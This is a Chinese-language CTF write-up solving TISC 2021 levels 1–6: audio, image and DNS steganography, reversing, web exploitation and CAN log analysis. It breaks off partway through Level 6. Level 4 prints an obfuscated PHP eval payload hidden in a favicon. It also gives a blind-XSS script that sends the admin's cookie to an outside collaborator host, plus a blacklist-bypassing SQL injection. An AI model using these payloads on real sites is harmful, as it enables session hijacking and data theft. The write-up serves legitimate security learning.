TISC 2021 网络安全挑战赛完整技术解析:从取证到二进制漏洞利用

本文详细解析了TISC 2021网络安全挑战赛的10个关卡,涵盖数字取证、隐写术、逆向工程、Web渗透测试、二进制漏洞利用、密码学及恶意软件分析等多个技术领域,展示了从基础取证到高级漏洞利用的完整技术栈。

Level 1: Scratching the Surface 🔗

Part 1 🔗

领域:数字取证
我们通过秘密渠道发送了以下秘密消息。
提交格式:TISC{解码后的消息小写}
file1.wav

“秘密渠道”提示音频通道中的数据隐写。file1.wav播放了一段欢快的曲调。使用常见工具如binwalk未果。尝试分离音频通道:
ffmpeg -i file1.wav -map_channel 0.0.0 ch0.wav -map_channel 0.0.1 ch1.wav
播放ch1.wav听到一系列蜂鸣声——莫尔斯电码!使用在线莫尔斯电码音频解码器获得flag。
TISC{csitislocatedinsciencepark}

Part 2 🔗

领域:数字取证
这是一张普通图片。这张照片的修改时间是什么?
提交格式:TISC{YYYY:MM:DD HH:MM:SS}
file2.jpg

exiftool轻松解决。
TISC{2021:10:30 03:40:49}

Part 3 🔗

领域:数字取证、密码学
新加坡标志没什么不寻常的吧?
提交格式:TISC{ANSWER}
file3.jpg

在010 Editor中打开文件,发现文件末尾异常数据块。PK魔数表明是zip文件。使用binwalk提取:
binwalk -e file3.jpg
得到另一张图片picture_with_text.jpg。在010 Editor中打开,发现文件开头的垃圾字节:
NAFJRE GB GUVF PUNYYRATR VF URER NCCYRPNEEBGCRNE
类似简单文本密码。在CyberChef中发现是ROT13加密。
TISC{APPLECARROTPEAR}

Part 4 🔗

领域:数字取证
很好!既然你展示了能力,CSIT SOC团队给了你一个.OVA虚拟机镜像,用于调查被PALINDROME入侵的机器快照。你能从镜像中发现什么?
下载VM后,使用免费flag TISC{Yes, I’ve got this.}解锁4-10关。
https://transfer.ttyusb.dev/I6aQoOSuUuAoIIaqMWWkCcKyOk/windows10.ova
MD5哈希校验:c5b401cce9a07a37a6571ebe5d4c0a48
导入VirtualBox指南附后。请下载安装Virtualbox 6.1.26而非6.1.28,因安装Win10 VM镜像时有错误报告。

此挑战包含六个flag。将VM导入Virtualbox后开始工作。

用户名是什么?
提交格式:TISC{name}。
TISC{adam}

用户最近登录时间?转换为UTC后提交。
提交格式:TISC{DD/MM/YYYY HH:MM:SS}。
最近登录时间在登录VM后被重置,因此使用Autopsy。
在Autopsy中导入处理OVA文件,在OS Accounts > adam > Last Login找到最近登录时间,并转换为UTC。
TISC{17/06/2021 02:41:37}

删除的7z存档中文件的CRC32哈希值是什么?
提交格式:TISC{CRC32哈希大写}。
在Data Artifacts > Recycle Bin找到删除的存档,用7-Zip生成CRC32哈希。
TISC{040E23DA}

问题1:机器上RID≥1000的用户数?
问题2:RID 501的账户名?
问题3:RID 503的账户名?
提交格式:TISC{Answer1-Answer2-Answer3}。答案大小写保持一致。
在OS Accounts中找到所有答案,系统用户曾造成困惑。
TISC{1-Guest-DefaultAccount}

问题1:用户访问https://www.csit.gov.sg/about-csit/who-we-are的次数?
问题2:用户访问https://www.facebook.com的次数?
问题3:用户访问https://www.live.com的次数?
提交格式:TISC{ANSWER1-ANSWER2-ANSWER3}。
Data Artifacts > Web History
TISC{2-0-0}

驱动器字母“Z”的设备作为VirtualBox中的共享文件夹连接。卷标是什么?注册表能告诉我们“已连接”的驱动器吗?
提交格式:TISC{卷标}。
有点困难。通过向VM添加另一个共享文件夹,然后在注册表编辑器中搜索标签名,找出控制卷标的注册表键。
路径:Computer\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2
TISC{vm-shared}

SHA1为0D97DBDBA2D35C37F434538E4DFAA06FCCC18A13的文件在VM中某处。感兴趣文件的原始名称是什么?
提交格式:TISC{带正确扩展名的原始文件名}。
Autopsy仅支持SHA256和MD5哈希,因此猜测是Data Artifacts > Recent Documents中的文件之一。提取所有文件并运行Get-FileHash -Algorithm SHA1 *.
otter-singapore.lnk曾指向otter-singapore.jpg,匹配SHA1哈希。
TISC{otter-singapore.jpg}

Level 2: Dee Na Saw as a need 🔗

领域:网络取证
我们检测并捕获了从一台被PALINDROME入侵的服务器发出的异常DNS网络流量。发现的域名均未激活。要么PALINDROME关闭了它们,要么另有隐情。
此关包含2个flag,可从同一pcap文件中独立找到。
Flag 1格式:TISC{16字符}
Flag 2格式:TISC{17字符}
traffic.pcap

作为隐写术新手,此关最“CTF式”,卡了两天找flag 1,一度愤怒退出。冷静后成功解决。

Flag 2 🔗

traffic.pcap包含一系列DNS查询响应。
异常点:

  • 域名明显包含某种渗漏数据,格式d33d<9 hex chars>.toptenspot.net。
  • TTL值不断变化,典型DNS服务器不应如此。
  • 序列号也不断变化。

域名前两个hex字符总是数字如10、11、12。用scapy提取hex字符尝试hex解码,但产生乱码。尝试多种变体如XOR连续字节后,发现一篇CTF writeup描述DNS查询名中的Base32编码数据。Base32编码使用与hex数字相似的字符集。用CyberChef尝试Base32解码“hex字符”,立即发现有趣输出如<非ASCII字符>ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghij。调整偏移后,发现前两个(数字)字符是坏字节,其余字符组成有效base32字符串。
用快速脚本自动化解码例程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
from scapy.all import *
from scapy.layers.dns import DNS
import base64

dns_packets = rdpcap('traffic.pcap')
encoded = ''

for packet in dns_packets:
    if packet.haslayer(DNS):
        encoded += packet[DNS].qd.qname[6:13].decode('utf-8')

decoded = base64.b32decode(encoded[:-(len(encoded) % 8)]).decode('utf-8')
print(decoded)

产生一堆lorem ipsum文本及第二个flag。
TISC{n3vEr_0dd_0r_Ev3n}

Flag 1 🔗

解决第一个异常属性后,关注TTL和序列号,浪费多小时追逐最终为干扰项的模式。TTL和序列号通常匹配模式——序列号+TTL=unix时间戳——看似正确路径。多次无果后放弃休息。
返回后检查DNS域名中的数字“坏字节”。检查这些值的范围,从01到64……可能是?将数字转置到base64字母表,然后base64解码……是的,是DOCX文件。
挑战创建者想到TTL干扰项的时刻如下图:
[图片:挑战创建者想到TTL干扰项]
继续,用scapy提取DOCX文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
from scapy.all import *
from scapy.layers.dns import DNS
import base64

dns_packets = rdpcap('traffic.pcap')

alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
encoded = ''

for packet in dns_packets:
    if packet.haslayer(DNS):
        encoded += alphabet[int(packet[DNS].qd.qname[4:6].decode('utf-8'))-1]

decoded = base64.b64decode(encoded + '==')
file = open('output.docx', 'wb')
file.write(decoded)
file.close()

Word文档包含现在明显的线索“now you see me, what you seek is within”。由于DOCX文件实际上是伪装ZIP文件,解压DOCX并在文件中grep flag格式TISC{。在word/theme/theme1.xml中找到所需内容。
TISC{1iv3_n0t_0n_3vi1}

Level 3: Needle in a Greystack 🔗

领域:逆向工程
内部网络检测到攻击,阻止了所有可执行文件。这是如何发生的?
进一步调查中,恢复了这两张灰度图像。它们可能是什么?
1.bmp
2.bmp

在010 Editor中打开两个文件,注意到1.bmp和2.bmp在BMP像素颜色字节中逆序嵌入数据。1.bmp包含Windows可执行文件,2.bmp包含简单ASCII文本。
[图片:1.bmp和2.bmp的十六进制视图]
用简单Python脚本提取:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
with open("1.bmp", "rb") as bmp_1, open("1.exe", "wb") as out_file:
    data = bmp_1.read()

    output = data[-148:][:-3]
    for i in range(1, 145):
        output += data[-((i + 1) * 148):-(i * 148)][:-3]

    out_file.write(output)

with open("2.bmp", "rb") as bmp_1, open("2.txt", "wb") as out_file:
    data = bmp_1.read()

    output = data[-100:][:-1]
    for i in range(1, 99):
        output += data[-((i + 1) * 100):-(i * 100)][:-1]

    out_file.write(output)

运行1.exe,得到以下输出:
> .\1.exe
HELLO WORLD
flag{THIS_IS_NOT_A_FLAG}
深入分析,用IDA反编译可执行文件,注意到main函数检查第一个参数中的.txt文件。
测试随机文本文件,产生以下输出:
> .\1.exe .\2.txt
HELLO WORLD
Almost There!!
进一步查看main函数的伪代码,注意到它调用了一个函数,该函数VirtualAlloc一些内存,复制数据到其中,然后运行LoadLibraryA。由于“Almost There!!”未作为字符串出现在1.exe中,怀疑来自动态加载的库。
在memcpy设置断点,运行IDA调试器。在断点检查memcpy的参数,确认它复制了一个包含魔数MZ后跟“This program cannot be run in DOS mode”的可执行文件。
[图片:memcpy参数显示MZ头]
现在需要转储这些数据。手动通过检查源缓冲区末尾出现的Application Manifest XML文本来确定文件大小。接下来,用WinDBG转储:.writemem b.exe ebx L2600
可执行文件结果是DLL,在dllmain_dispatch函数中包含解码例程,每次1.exe用LoadLibraryA加载时执行。
DLL反编译为伪代码,由于256次迭代循环,识别为RC4密钥调度算法(KSA)。
伪代码包含两个重要信息。首先,“Words of the wise may open many locks in life”像是提示。其次,KSA循环使用0xE作为模数,告诉我RC4密钥长14字节。
最初掉入猜测密钥的兔子洞。根据挑战名称和“Words of the wise”,认为与《指环王》中的Gandalf有关,尝试了所有与他相关的短语,包括youwillnotpass。长时间后恢复理智,意识到密钥可能存在于之前提取的第二个文件中。它包含一个巨大的单词列表,包括rubywise——这可能是“Words of the wise”提示所指。
用快速Python脚本暴力破解密钥:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import subprocess
import os

with open('keys.txt') as file:
    lines = file.readlines()
    lines = [line.rstrip() for line in lines]
    for line in lines:
        with open('key.txt', 'w') as key:
            key.write(line)
        result = subprocess.run([".\\1.exe", ".\\2.txt"], capture_output=True).stdout
        if b'TISC' in result:
            print(line)
            print(result)

TISC{21232f297a57a5a743894a0e4a801fc3}

Level 4: The Magician’s Den 🔗

领域:Web渗透测试
一天,Apple Story Pte Ltd的管理员收到一封匿名邮件。

亲爱的Apple Story管理员,
我们是PALINDROME。
我们已控制你的系统并窃取了你的秘密配方!
不要害怕,我们只想要钱。
支付我们的要求,我们就会消失。
首先,我们已拒绝你的所有控制。
我们要求1 BTC在2021年12月31日前发送至1BvBMSEYstWetqTFn5Au4m4GFg7xJaNVN2。
不要报警或寻求帮助。
否则工厂就完了。
我们安装了监控工具,不要测试我们。
记住2021年12月31日前1 BTC,我们就会消失。
Muahahahaha。
此致,
PALINDROME

管理只有一个指令。在截止日期前检索加密密钥并解决此问题。
http://wp6p6avs8yncf6wuvdwnpq8lfdhyjjds.ctf.sg:14719
注意:上传的有效载荷每30分钟删除一次。

终于,一个Web挑战!网站包含勒索信和支付页面链接。
[图片:网站截图]
挑战附带免费提示:“演员PALINDROME模仿Magecart的一些标志性技术以逃避检测是什么?”基于此,研究Magecart的战术、技术和程序(TTP),发现威胁行为者将恶意有效载荷隐藏在图像文件中。检查每个加载的图像,注意到favicon.ico包含以下PHP代码:
eval(base64_decode('JGNoPWN1cmxfaW5pdCgpO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1VSTCwiaHR0cDovL3MwcHE2c2xmYXVud2J0bXlzZzYyeXptb2RkYXc3cHBqLmN0Zi5zZzoxODkyNi94Y3Zsb3N4Z2J0ZmNvZm92eXdieGRhd3JlZ2pienF0YS5waHAiKTtjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9QT1NULDEpO2N1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1BPU1RGSUVMRFMsIjE0YzRiMDZiODI0ZWM1OTMyMzkzNjI1MTdmNTM4YjI5PUhpJTIwZnJvbSUyMHNjYWRhIik7JHNlcnZlcl9vdXRwdXQ9Y3VybF9leGVjKCRjaCk7'));
base64字符串解码为:

1
2
3
4
5
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"http://<DOMAIN>:18926/xcvlosxgbtfcofovywbxdawregjbzqta.php");
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,"14c4b06b824ec593239362517f538b29=Hi%20from%20scada");
$server_output=curl_exec($ch);

此PHP代码发送以下HTTP请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
POST /xcvlosxgbtfcofovywbxdawregjbzqta.php HTTP/1.1
Host: <DOMAIN>:18926
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 190

14c4b06b824ec593239362517f538b29=Hi%20from%20scada

返回以下响应:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
HTTP/1.1 200 OK
Date: Sun, 14 Nov 2021 05:50:11 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/7.2.2
Vary: Accept-Encoding
Content-Length: 77
Connection: close
Content-Type: text/html; charset=UTF-8

New record created successfully in data/9bcd278b611772b366155e078d529145.html

服务器从我的输入创建HTML文件。快速检查SQL注入(无),然后转向下一个最可能的漏洞——盲跨站脚本(XSS)攻击。输入<img src="http://zdgrxeldiyxju6mmytt0cdx3muskg9.burpcollaborator.net" />代替Hi%20from%20scada。几分钟后,收到pingback!

1
2
3
4
5
6
7
8
GET / HTTP/1.1
Referer: http://magicians-den-web/data/9bcd278b611772b366155e078d529145.html
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Accept: */*
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: zdgrxeldiyxju6mmytt0cdx3muskg9.burpcollaborator.net

还意识到PHP代码将POST请求发送到不同的网站http://:18926/。网站包含“最新样本数据”页面,包含POST请求创建的HTML文件,帮助调试有效载荷。
[图片:最新样本数据页面]
通常,XSS CTF挑战通过受害者浏览器进行数据渗漏。最初怀疑因为受害者User Agent PhantomJS/2.1.1存在已知本地文件披露漏洞,我应该泄漏/etc/passwd。但多次尝试无果,可能因为受害者从http:// URL而非file:// URI访问XSS有效载荷,后者可绕过跨源资源共享(CORS)保护。
回到绘图板,决定用ffuf进行目录爆破,发现登录页面存在于http://:18926/login.php。
[图片:登录页面]
不幸的是,注册被禁用,但由于PHPSESSID cookie控制用户会话,找到了前进之路:需要使用盲XSS泄漏管理员的会话cookie。修改有效载荷为<script>document.body.appendChild(document.createElement("img")).src='http://zdgrxeldiyxju6mmytt0cdx3muskg9.burpcollaborator.net?'%2bdocument.cookie</script>,收到pingback at /?PHPSESSID=64f15ffeb7a191812bddfb9a855e0ffb。
添加会话cookie后,浏览登录页面,重定向到http://:18926/landing_admin.php。
[图片:landing_admin.php页面]
页面列出目标采取的行动,允许按isALIVE或isDEAD过滤结果。更改过滤器时,页面发送以下HTTP请求:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /landing_admin.php HTTP/1.1
Host: <DOMAIN>:18926
Content-Length: 14
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://<DOMAIN>:18926
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://<DOMAIN>:18926/landing_admin.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=e9b94a5a71d62d9171130ad5890f38ef
Connection: close

filter=isALIVE

除过滤的行动外,响应包含文本“Filter applied: <FILTER参数值>”。切换到isDEAD过滤器返回行动“MaybeMessingAroundTheFilterWillHelp?”和“ButDoYouKnowHow?”,提示SQL注入。
确认POST /landing_admin.php请求易受SQL注入使用同构SQL语句;添加简单’到filter=isALIVE导致服务器省略“Filter applied”消息,添加’‘恢复它。但直接跳转到’ OR ‘1’=‘1失败。困惑中继续测试几个有效载荷,最终注意到某些字符被清理,因为它们从未出现在“Filter applied”消息中。通过模糊测试所有可能的URL编码ASCII字符,重建黑名单!"$%&*+,-./:;<=>?@[]^_{|}~,仅留下特殊字符#'()。此外,发现任何长于7字符的filter参数总是失败。 由于注入的SQL语句可能类似SELECT * from actions WHERE status='<PAYLOAD>',推断一个可能的有效载荷是'OR(1)#,创建最终语句SELECT * from actions WHERE status=''OR(1)#'。这整齐地转储所有可能行动,同时注释掉额外'。幸好,有效载荷工作,响应包含flag作为行动之一。 TISC{H0P3_YOu_eNJ0Y-1t}`

Level 5: Need for Speed 🔗

领域:二进制操作、物联网分析
我们拦截了发送给PALINDROME使用的自主炸弹卡车的指令。然而,它似乎只是通往总统府的路线BMP文件!
分析提供的文件,揭示PALINDROME的指令。找到方法在行动前终止操作。
确保给定文件的md5校验和匹配以下 before starting:
26dc6d1a8659594cdd6e504327c55799
提交格式:TISC{找到的flag}。
注意:此挑战找到的flag不是TISC{…}格式。为协助验证是否获得flag,flag的md5校验和是:d6808584f9f72d12096a9ca865924799。
附加文件
route.bmp

此隐写术挑战难倒许多参与者。表面看,route.bmp像是简单地图截图。使用stegsolve,注意到应用红色、绿色或蓝色值的plane 0过滤器时产生有趣输出。
[图片:stegsolve plane 0过滤器输出]
图像上半部分类似静态而非预期原始图像的黑白轮廓。研究更多图像隐写技术时,遇到另一篇CTF writeup,特征类似stegsolve生成的“静态”。writeup描述图像如何将数据隐藏在像素RGB值的最低有效字节中。应用writeup中的脚本提取数据但遇到轻微损坏。尽管前几个字节37 7A C2 BC C2 AF 27 1C几乎匹配7-Zip文件的魔数37 7A BC AF 27 1C,额外C2字节妨碍正确解码。
决定比较预期二进制输出与脚本真实输出。
预期:00110111 01111010 10111100 10101111 00100111 00011100 # 37 7A BC AF 27 1C
真实:00110111001111011010001011100010000111101011010011100 # 37 3d a2 e2 1e b4 1c
仔细阅读writeup后,意识到脚本正确跳过每第9位但过早将位转换为字节。修复此错误获得工作解码器。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
from PIL import Image
import sys

# 修剪每第9位
def trim_bit_9(b):
    trimmed = ''
    while len(b) != 0:
        trimmed += b[:8]
        b = b[9:]
    return trimmed

# 加载图像数据
img = Image.open(sys.argv[1])
w,h = img.size
pixels = img.load()

binary = ''
for y in range(h):
    for x in range(w):
        # 提取此像素RGB顺序的LSB
        binary += ''.join([str(n & 1) for n in pixels[x, y]])

trimmed = trim_bit_9(binary)
with open('out.7z', 'wb') as file:
    file.write(bytes(int(trimmed[i : i + 8], 2) for i in range(0, len(trimmed), 8)))

提取的7-Zip文件包含两个文件:update.log和candump.log。
updated.log包含以下文本:
see turn signals for updated abort code :)
- P4lindr0me
同时,candump.log是巨大文件,包含如下行:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
(1623740188.969099) vcan0 136#000200000000002A
(1623740188.969107) vcan0 13A#0000000000000028
(1623740188.969109) vcan0 13F#000000050000002E
(1623740188.969112) vcan0 17C#0000000010000021
(1623740225.790964) vcan0 324#7465000000000E1A
(1623740225.790966) vcan0 37C#FD00FD00097F001A
(1623740225.790968) vcan0 039#0039
(1623740225.792217) vcan0 183#0000000C0000102D
(1623740225.792231) vcan0 143#6B6B00E0
(1623740225.794607) vcan0 095#800007F400000017

这是什么?稍作Google,发现candump是转储控制器区域网络(CAN)总线流量的工具。CAN本身是车辆使用的网络协议。通过搜索candump.log中的一些行,发现了ICSim生成的样本CAN日志。对CAN协议进行更多研究后,推断CAN转储中的每行匹配格式(<时间戳>) <接口> <CAN指令ID>#<CAN指令数据>。
基于“see turn signals”线索,需要找到匹配“转向信号”指令的CAN指令ID。转向信号的CAN指令数据可能包含flag。查看ICSim源代码,看到ICSim将转向信号ID设置为默认常量或随机值:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#define DEFAULT_SIGNAL_ID 392 // 0x188
...
signal_id = DEFAULT_SIGNAL_ID;
speed_id = DEFAULT_SPEED_ID;

if (randomize || seed) {
    if(randomize) seed = time(NULL);
    srand(seed);
    door_id = (rand() % 2046) + 1;
    signal_id = (rand() % 2046) + 1;

遗憾的是,由于没有CAN转储行包含188指令ID,转向信号指令ID已被随机化。
基于代码和ICSim教程,还知道转向信号指令的数据值可以是00(两者关)、01(仅左开)、02(仅右开)或03(两者开)。因此,尝试过滤candump.log中最多有4个唯一数据值的所有CAN指令ID。指令ID 40C看起来有希望,因为它只有以下唯一数据值:
40C: ['0000000004000013', '014A484D46413325', '0236323239533039', '033133383439000D']
但尽管花费数小时hex解码值、XOR它们等,未能检索到任何可用数据。
在此兔子洞浪费大量时间后,重读ICSim发送转向信号的源代码。

1
2
3
4
5
6
7
8
9
void send_turn_signal() {
    memset(&cf, 0, sizeof(cf));
    cf.can_id = signal_id;
    cf.len = signal_len;
    cf.data[signal_pos] = signal_state;
    if(signal_pos) randomize_pkt(0, signal_pos);
    if(signal_len != signal_pos + 1) randomize_pkt(signal_pos+1, signal_len);
    send_pkt(CAN_MTU);
}

注意到错误:send_turn_signal函数仅设置CAN消息数据中的一个字节为信号状态字节,然后随机化其余数据字节。这意味着转向信号将有远多于四个可能唯一数据值!相反,应过滤CAN转储中数据值在固定位置总是包含00、01、02和03的转向信号ID。快速编写新脚本执行此操作。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
can_combinations = dict()
can_count = dict()

with open('candump.log', 'r') as file:
    while line := file.readline():
        can_id = line[26:29]
        can_data = line[30:].strip()
        if can_id not in can_combinations:
            can_combinations[can_id] = [can_data]
        else:
            if can_data not in can_combinations[can_id]:
                can_combinations[can_id].append(can_data)
        if can_id not in can_count:
            can_count[can_id] = 1
        else:
            can_count[can_id] += 1

for can_id in can_combinations:
    if all(('01' in data or '02' in data or '03' in data or '00' in data) for data in can_combinations[can_id]):
        print("{} {}: {}".format(can_id, can_count[can_id], can_combinations[can_id]))

在可能的过滤CAN ID中,0C7看起来也有希望,因为一些数据值hex解码时包含ASCII字符。
0C7: ['00006c88000000', '0E003100000011', '00006664000000', '00003369000066', '00E75f00D30000', '3A0931E20000E0', '07003500000000', '00005fA1000038', '00007782600000', '3521683F00016C', '00003400000005', '00003700000100', '4F005f00000000', '00006802000100', '00003483000000', 'B900702D000100', '00007006000000', '00B63300000117', 'F8786e000C00D6', '0092359B000100', '90005f77F80000', 'B3457700000100', '00006800000030', 'C9F13300AA0100', '00B56e00000000', '00005f98AB0186', '770079003800D0', '0000305D000100', 'F3427500000064', '00002700000100', 'A0007200460032', '00003312000100', 'C2005f000000E2', '00006200790100', '00007500000000', '00003500000000', '004A7900000000', '00005f00000000', '00006d33000000', '000034000000BF', '00136b0000005C', '00F63100000000', '00006e00AA0099', '15003600000000', '7B005fD6000000', 'BC003020000000', 'B7003700000000', '0000680000006C', '00003300310000', '50007200A50000', '00005f00A60000', '00E67000A200A2', '77006c00450059', '89003400000000', '59006e2AE500D1', '00E23500F80000', '00912eC2B40000', '00002d00000100', '003E6a007B0060', '00005f00F70132', '0000304F000000', '00FB5f00000100', '44576800000000', '00005f00000193', 'FD006eDE450000', '00895f00900100', '00006c00910000', '00005fDDD10000', '00003300000200', '00CA5f00CC0000', 'E4FB6e00000000', '00005f00770000', '00006e00000000', '00005f00810000', '00003049940000', '00F95f003600D4', '6E7B6e936C0051'] 大量手动复制粘贴后,发现这些ASCII字符出现在每个指令数据的第三个字节。基于此预感,编写另一个短脚本提取并解码这些字节。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
can_combinations = dict()
can_count = dict()

encoded = ''
with open('candump.log', 'r') as file:
    while line := file.readline():
        can_id = line[26:29]
        can_data = line[30:].strip()
        if can_id == '0C7':
            encoded += can_data[4:6]

print(bytes.fromhex(encoded).decode('utf-8'))

产生l1f3_15_wh47_h4pp3n5_wh3n_y0u'r3_bu5y_m4k1n6_07h3r_pl4n5.-j_0_h_n_l_3_n_n_0_n,匹配校验和d6808584f9f72d12096a9ca865924799。
TISC{l1f3_15_wh47_h4pp3n5_wh3n_y0u'r3_bu5y_m4k1n6_07h3r_pl4n5.-j_0_h_n_l_3_n_n_0_n}

Level 6: Knock Knock, Who’s There 🔗

领域:网络取证、逆向工程
流量捕获表明发现了用于存储PALINDROME OTP密码的服务器。破译数据包并找到进入方法。快速行动,时间紧迫。
https://transfer.ttyusb.dev/s4is2/traffic_capture.pcapng
服务器在128.199.211.243
注意:挑战实例可能定期重置,因此请保存可能需要的任何文件副本。

已完成一半,但面临最令人费解的关卡。下载了614 MB的PCAP文件,包含所有类型的流量,包括SSH、SMB、HTTP等。基于关卡标题和描述中的“时间紧迫”,怀疑挑战涉及端口敲门。需要在干草堆中发现端口敲门序列针,然后使用它访问128.199.211

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计